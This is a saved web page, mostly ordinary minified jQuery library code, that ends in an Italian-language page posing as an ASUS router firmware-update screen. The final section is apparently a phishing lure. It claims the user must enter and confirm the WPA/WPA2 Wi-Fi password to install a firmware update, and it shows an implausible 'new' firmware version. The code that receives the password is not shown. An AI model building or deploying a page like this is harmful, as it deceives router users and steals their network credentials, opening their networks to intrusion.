b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
      "],col:[2,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("
       
       
      Amministrazione - Aggiornamento Firmware

      Un aggiornamento firmware è disponibile. Per avere la miglior esperienza, ASUS consiglia fortemente di aggiornare il vostro router all'ultima versione del firmware.

      Nota:
      1. L'ultima versione del firmware include tutti gli aggiornamenti della versione precedente.
      2. Per scaricare e aggiornare il firmware è necessario inserire la password WPA/WPA2 e premere il tasto AGGIORNA per procedere.
      3. Il download e l'aggiornamento del firmware può richiedere alcuni minuti. Durante l'aggiornamento non spegnere il router nè chiudere il browser.


      Signature Version1.038
      Versione Firmware Corrente3.0.0.4.378_4980-g8c12415
      Nuova Versione Firmware4.3.0.1.512_3045-g8c15627
      WPA/WPA2
      Conferma WPA/WPA2

       
